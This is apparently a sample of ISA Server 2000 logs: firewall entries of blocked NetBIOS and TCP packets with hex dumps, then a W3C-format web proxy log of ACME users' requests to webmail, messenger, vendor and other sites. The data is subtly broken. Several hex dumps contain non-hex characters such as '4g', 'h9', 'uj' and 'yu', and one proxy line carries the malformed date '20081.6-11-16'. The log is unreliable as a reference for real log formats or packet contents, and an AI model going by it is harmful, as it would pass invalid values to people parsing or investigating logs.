2006-11-16      00:08:54        10.45.1.1       10.45.2.4       Udp     1676    137     -       BLOCKED 10.45.1.1       23 44 44 4e e8 4f 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 4g 44 89 44 3a 82 22
2006-11-16      00:08:55        10.45.1.1       10.45.2.4       Udp     1676    137     -       BLOCKED 10.45.1.1       23 44 44 4e e9 d1 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 4g 44 89 44 3a 82 20
2006-11-16      00:08:57        10.45.1.1       10.45.2.4       Udp     1676    137     -       BLOCKED 10.45.1.1       23 44 44 4e eb 4c 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 4g 44 89 44 3a 82 1e
2006-11-16      00:12:27        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 bd eb 40 44 74 06 51 ac 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:12:28        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 uj 0e 40 44 74 06 20 89 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:12:31        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 11 61 40 44 74 06 fe 36 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:12:37        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 57 15 40 44 74 06 b8 82 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:12:49        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 b5 69 40 44 74 06 5a 2e 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:13:12        41.56.41.15     10.45.1.1       Tcp     80      24820   SYN ACK         BLOCKED 10.45.1.1       23 44 44 30 58 ea 40 44 74 06 h9 yu 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 84 h9 7d 10 a3 70 12 18 44 62 51 44 44 02 04 05 64 04 02 01 01
2006-11-16      00:13:21        41.56.41.15     10.45.1.1       Tcp     80      24820   RST ACK         BLOCKED 10.45.1.1       23 44 44 28 0f ca 40 44 74 06 ff d5 0c 78 29 0f c0 a8 01 01     44 50 60 f4 ec f3 fc 85 h9 7d 10 a3 50 14 44 44 a6 c1 44 00
2006-11-16      01:08:33        10.45.1.1       10.45.2.4       Udp     1677    137     -       BLOCKED 10.45.1.1       23 44 44 4e 5c 5c 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8d 44 89 44 3a 81 9a
2006-11-16      01:08:34        10.45.1.1       10.45.2.4       Udp     1677    137     -       BLOCKED 10.45.1.1       23 44 44 4e 5c 7e 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8d 44 89 44 3a 81 98
2006-11-16      01:08:36        10.45.1.1       10.45.2.4       Udp     1677    137     -       BLOCKED 10.45.1.1       23 44 44 4e 5c f7 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8d 44 89 44 3a 81 96
2006-11-16      01:08:37        10.45.1.1       10.45.2.4       Udp     1677    137     -       BLOCKED 10.45.1.1       23 44 44 4e 5d 75 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8d 44 89 44 3a 81 94
2006-11-16      01:08:39        10.45.1.1       10.45.2.4       Udp     1677    137     -       BLOCKED 10.45.1.1       23 44 44 4e 5d bc 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8d 44 89 44 3a 81 92
2006-11-16      01:12:06        10.45.1.1       10.45.2.4       Udp     1678    137     -       BLOCKED 10.45.1.1       23 44 44 4e 8f bc 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8e 44 89 44 3a 81 87
2006-11-16      01:12:08        10.45.1.1       10.45.2.4       Udp     1678    137     -       BLOCKED 10.45.1.1       23 44 44 4e 90 96 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8e 44 89 44 3a 81 85
2006-11-16      01:12:09        10.45.1.1       10.45.2.4       Udp     1678    137     -       BLOCKED 10.45.1.1       23 44 44 4e 91 bd 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8e 44 89 44 3a 81 83
2006-11-16      01:12:11        10.45.1.1       10.45.2.4       Udp     1678    137     -       BLOCKED 10.45.1.1       23 44 44 4e 91 e0 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8e 44 89 44 3a 81 81
2006-11-16      01:12:12        10.45.1.1       10.45.2.4       Udp     1678    137     -       BLOCKED 10.45.1.1       23 44 44 4e 92 11 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8e 44 89 44 3a 81 7f
2006-11-16      02:12:43        10.45.1.1       10.45.2.4       Udp     1679    137     -       BLOCKED 10.45.1.1       23 44 44 4e 63 b5 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8f 44 89 44 3a 80 f6
2006-11-16      02:12:45        10.45.1.1       10.45.2.4       Udp     1679    137     -       BLOCKED 10.45.1.1       23 44 44 4e 63 e0 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8f 44 89 44 3a 80 f4
2006-11-16      02:12:46        10.45.1.1       10.45.2.4       Udp     1679    137     -       BLOCKED 10.45.1.1       23 44 44 4e 64 17 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8f 44 89 44 3a 80 f2
2006-11-16      02:12:48        10.45.1.1       10.45.2.4       Udp     1679    137     -       BLOCKED 10.45.1.1       23 44 44 4e 64 5d 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8f 44 89 44 3a 80 f0
2006-11-16      02:12:49        10.45.1.1       10.45.2.4       Udp     1679    137     -       BLOCKED 10.45.1.1       23 44 44 4e 64 73 44 44 80 11 44 44 c0 a8 01 01 c0 a8 02 04     06 8f 44 89 44 3a 80 ee


Here is the ISA Server 2000 Firewall Log in ISA Server format


Here is a sample of the ISA Server 2000 web proxy log in W3C Extended format


#Software: Microsoft(R) Internet Security and Acceleration Server 2000
#Version: 1.0
#Date: 2006-11-16 00:00:01
#Fields: c-ip cs-username     c-agent sc-authenticated        date    time    s-svcname       s-computername  cs-referred     r-host  r-ip    r-port  time-taken      cs-bytes        sc-bytes        cs-protocol     cs-transport    s-operation     cs-uri  cs-mime-type    s-object-source sc-status       s-cache-info    rule#1  rule#2
10.54.80.151  anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:01        w3proxy ACME-PROXY      -       web.freemail.com        -       80      -       992     3292    http    TCP     POST    http://web.freemail.com/mail/channel/bind?at=3fed1555f6851887-10ee843eb7e&VER=2&SID=ABDB48E0D064E6E7&RID=83189&zx=f5lvq4-uftwvt&t=1     -       -       407     -       -       -
10.54.80.151  anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:01        w3proxy ACME-PROXY      -       web.freemail.com        -       80      -       52      1980    http    TCP     POST    http://web.freemail.com/mail/channel/bind?at=3fed1555f6851887-10ee843eb7e&VER=2&SID=ABDB48E0D064E6E7&RID=83189&zx=f5lvq4-uftwvt&t=1     -       -       407     -       -       -
10.54.29.65   ACME\clmantock  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Windows Live Messenger 8.0.0812) Y       2006-11-16      00:00:02        w3proxy ACME-PROXY      -       207.46.107.35   207.46.107.35   80      719     339     572     http    TCP     POST    http://207.46.107.35/gateway/gateway.dll?Action=poll&SessionID=1035492081.13530 application/x-msn-messenger     Inet    200     0x40000004      Internet Access Grant Access to all destinations
10.54.29.65   ACME\clmantock  Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Windows Live Messenger 8.0.0812) Y       2006-11-16      00:00:03        w3proxy ACME-PROXY      -       207.46.107.35   207.46.107.35   80      703     338     290     http    TCP     POST    http://207.46.107.35/gateway/gateway.dll?Action=poll&SessionID=1035492081.1247  application/x-msn-messenger     Inet    200     0x40000004      Internet Access Grant Access to all destinations
10.54.80.151  ACME\eflynn     Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:03        w3proxy ACME-PROXY      -       web.freemail.com        72.14.205.17    80      2329    1666    342     http    TCP     POST    http://web.freemail.com/mail/channel/bind?at=3fed1555f6851887-10ee843eb7e&VER=2&SID=ABDB48E0D064E6E7&RID=83189&zx=f5lvq4-uftwvt&t=1     text/html; charset=utf-8        Inet    200     0x42040004      Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      414     155     http    TCP     GET     http://www.c-spline.com/styles/style.css        text/css        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       422     155     http    TCP     GET     http://www.c-spline.com/images/searchcooper2.gif        image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       421     155     http    TCP     GET     http://www.c-spline.com/images/searchcooper.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       420     155     http    TCP     GET     http://www.c-spline.com/images/cooperhome2.gif  image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       418     155     http    TCP     GET     http://www.c-spline.com/images/cooperhome.gif   image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      428     155     http    TCP     GET     http://www.c-spline.com/images/cooper-connection_02.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       429     155     http    TCP     GET     http://www.c-spline.com/images/cooper-connection_01.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       416     155     http    TCP     GET     http://www.c-spline.com/images/logo_sm.gif      image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        44.231.209.19   80      2453    271     16042   http    TCP     GET     http://www.c-spline.com/euserc.asp      text/html       Inet    200     0x42020000      Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       428     155     http    TCP     GET     http://www.c-spline.com/images/Metering/Meterheader.jpg image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       433     155     http    TCP     GET     http://www.c-spline.com/images/Cooperc-spline/cprbline211.jpg   image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       432     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/milonic_src.js     application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       430     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/mmenudom.js        application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:04        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      423     155     http    TCP     GET     http://www.c-spline.com/images/textbox_shadow.gif       image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:05        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       430     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/menu_data.js       application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:05        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       417     155     http    TCP     GET     http://www.c-spline.com/images/whitend3.gif     image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:05        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       416     155     http    TCP     GET     http://www.c-spline.com/images/bee-gray.jpg     image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:05        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       415     155     http    TCP     GET     http://www.c-spline.com/images/euserc.jpg       image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.20.97   anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Win32)       N       2006-11-16      00:00:07        w3proxy ACME-PROXY      -       updaterservice.wildtangent.com  -       80      -       1480    2846    http    TCP     POST    http://updaterservice.wildtangent.com/updater/updatecheckin.wss -       -       407     -       -       -
10.54.20.97   anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Win32)       N       2006-11-16      00:00:07        w3proxy ACME-PROXY      -       updaterservice.wildtangent.com  -       80      -       1187    887     http    TCP     POST    http://updaterservice.wildtangent.com/updater/updatecheckin.wss -       -       407     -       -       -
10.54.20.97   ACME\capadonna  Mozilla/4.0 (compatible; MSIE 6.0; Win32)       Y       2006-11-16      00:00:07        w3proxy ACME-PROXY      -       -       -       -       -       1716    -       -       TCP     POST    http://updaterservice.wildtangent.com/updater/updatecheckin.wss -       -       12209   0x4     Internet Access Block unproductive websites
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:09        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      6453    4587    14623   http    TCP     POST    http://145.27.59.156/campaign   text/html       Inet    200     0x40000004      Internet Access Grant Access to all destinations
10.54.70.45   anonymous       Acrobat Messages Updater        N       2006-11-16      00:00:09        w3proxy ACME-PROXY      -       rms.adobe.com   -       80      -       224     2792    http    TCP     GET     http://rms.adobe.com/read/0600/win_/ENU/read0600win_ENUadbe0000.xml     -       -       407     -       -       -
10.54.80.133  ACME\rgordon    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:10        w3proxy ACME-PROXY      -       b.web.freemail.com      66.102.11.189   80      241844  1483    1410    http    TCP     GET     http://b.web.freemail.com/mail/channel/bind?at=d125f6cdf3da8331-10eebce9ebc&RID=rpc&SID=4E672078DDD815A7&CI=0&AID=1442&TYPE=html&zx=lr71ql-cphr5q&DOMAIN=web.freemail.com&t=1   text/html; charset=utf-8        Inet    200     0x42040001      Internet Access Grant Access to all destinations
10.54.80.133  anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:10        w3proxy ACME-PROXY      -       b.web.freemail.com      -       80      -       992     3093    http    TCP     GET     http://b.web.freemail.com/mail/channel/bind?at=d125f6cdf3da8331-10eebce9ebc&RID=rpc&SID=4E672078DDD815A7&CI=0&AID=1451&TYPE=html&zx=3ie2qj-xmlylo&DOMAIN=web.freemail.com&t=1   -       -       407     -       -       -
10.54.80.133  anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:10        w3proxy ACME-PROXY      -       b.web.freemail.com      -       80      -       -       1837    http    TCP     GET     http://b.web.freemail.com/mail/channel/bind?at=d125f6cdf3da8331-10eebce9ebc&RID=rpc&SID=4E672078DDD815A7&CI=0&AID=1451&TYPE=html&zx=3ie2qj-xmlylo&DOMAIN=web.freemail.com&t=1   -       -       407     -       -       -
10.54.70.99   anonymous       Acrobat Messages Updater        N       2006-11-16      00:00:12        w3proxy ACME-PROXY      -       rms.adobe.com   -       80      -       224     2792    http    TCP     GET     http://rms.adobe.com/read/0600/win_/ENU/read0600win_ENUadbe0000.xml     -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:12        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       700     2846    http    TCP     GET     http://145.27.59.156/campaign?jcid=1163599178318&redir=index.xxx?aid=campaign&&HH1=34&gg2=45&dd1=15&mm1=23&re1=2006&HH2=19&MM2=15&dd2=15&mm2=23&re2=2006&rcp=&name=Hope+6-510&desc=Hope+6-510&rtype=2&val=1&msg=Hope+6-510+return+to+service+%40+6%3A43pm+after+relay+disabled  -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:12        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       1302    http    TCP     GET     http://145.27.59.156/campaign?jcid=1163599178318&redir=index.xxx?aid=campaign&&HH1=34&gg2=45&dd1=15&mm1=23&re1=2006&HH2=19&MM2=15&dd2=15&mm2=23&re2=2006&rcp=&name=Hope+6-510&desc=Hope+6-510&rtype=2&val=1&msg=Hope+6-510+return+to+service+%40+6%3A43pm+after+relay+disabled  -       -       407     -       -       -
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:12        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      172     956     259     http    TCP     GET     http://145.27.59.156/campaign?jcid=1163599178318&redir=index.xxx?aid=campaign&&HH1=34&gg2=45&dd1=15&mm1=23&re1=2006&HH2=19&MM2=15&dd2=15&mm2=23&re2=2006&rcp=&name=Hope+6-510&desc=Hope+6-510&rtype=2&val=1&msg=Hope+6-510+return+to+service+%40+6%3A43pm+aft   -       Inet    302     0x40000005      Internet Access Grant Access to all destinations
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:13        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       465     2846    http    TCP     GET     http://145.27.59.156/campaign/web/MCstyle.css   -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:13        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       1067    http    TCP     GET     http://145.27.59.156/campaign/web/MCstyle.css   -       -       407     -       -       -
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:13        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      422     721     172     http    TCP     GET     http://145.27.59.156/campaign/web/MCstyle.css   text/css        VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:13        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      703     480     21834   http    TCP     GET     http://145.27.59.156/index.xxx?aid=campaign&pg=2.0      text/html       Inet    200     0x42000005      Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:13        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      360     457     172     http    TCP     GET     http://145.27.59.156/clientscripts.js   text/javascript VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       442     155     http    TCP     GET     http://www.c-spline.com/styles/style.css        text/css        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      15      450     155     http    TCP     GET     http://www.c-spline.com/images/searchcooper2.gif        image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       449     155     http    TCP     GET     http://www.c-spline.com/images/searchcooper.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       20081.6-11-16   00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       448     155     http    TCP     GET     http://www.c-spline.com/images/cooperhome2.gif  image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       446     155     http    TCP     GET     http://www.c-spline.com/images/cooperhome.gif   image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       456     155     http    TCP     GET     http://www.c-spline.com/images/cooper-connection_02.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      457     155     http    TCP     GET     http://www.c-spline.com/images/cooper-connection_01.gif image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       444     155     http    TCP     GET     http://www.c-spline.com/images/logo_sm.gif      image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      445     155     http    TCP     GET     http://www.c-spline.com/images/products.jpg     image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       461     155     http    TCP     GET     http://www.c-spline.com/images/Cooperc-spline/cprbline211.jpg   image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      15      460     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/milonic_src.js     application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       451     155     http    TCP     GET     http://www.c-spline.com/images/textbox_shadow.gif       image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      458     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/mmenudom.js        application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        44.231.209.19   80      2641    347     24328   http    TCP     GET     http://www.c-spline.com/product/SearchProduct/search.asp?id=11  text/html       Inet    200     0x40020001      Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      734     453     172     http    TCP     GET     http://145.27.59.156/scriptLib.js       text/javascript VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:14        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       458     155     http    TCP     GET     http://www.c-spline.com/Include/headers/menu/menu_data.js       application/x-javascript        NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       445     155     http    TCP     GET     http://www.c-spline.com/images/whitend3.gif     image/gif       NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      -       444     155     http    TCP     GET     http://www.c-spline.com/images/bee-gray.jpg     image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.30.132  ACME\rross      Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.1.4322)   Y       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       www.c-spline.com        -       80      16      446     155     http    TCP     GET     http://www.c-spline.com/images/blinelogo.jpg    image/jpeg      NotModified     0       0x1002  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      609     450     172     http    TCP     GET     http://145.27.59.156/common.js  text/javascript VCache  304     0x1006  Internet Access Grant Access to all destinations
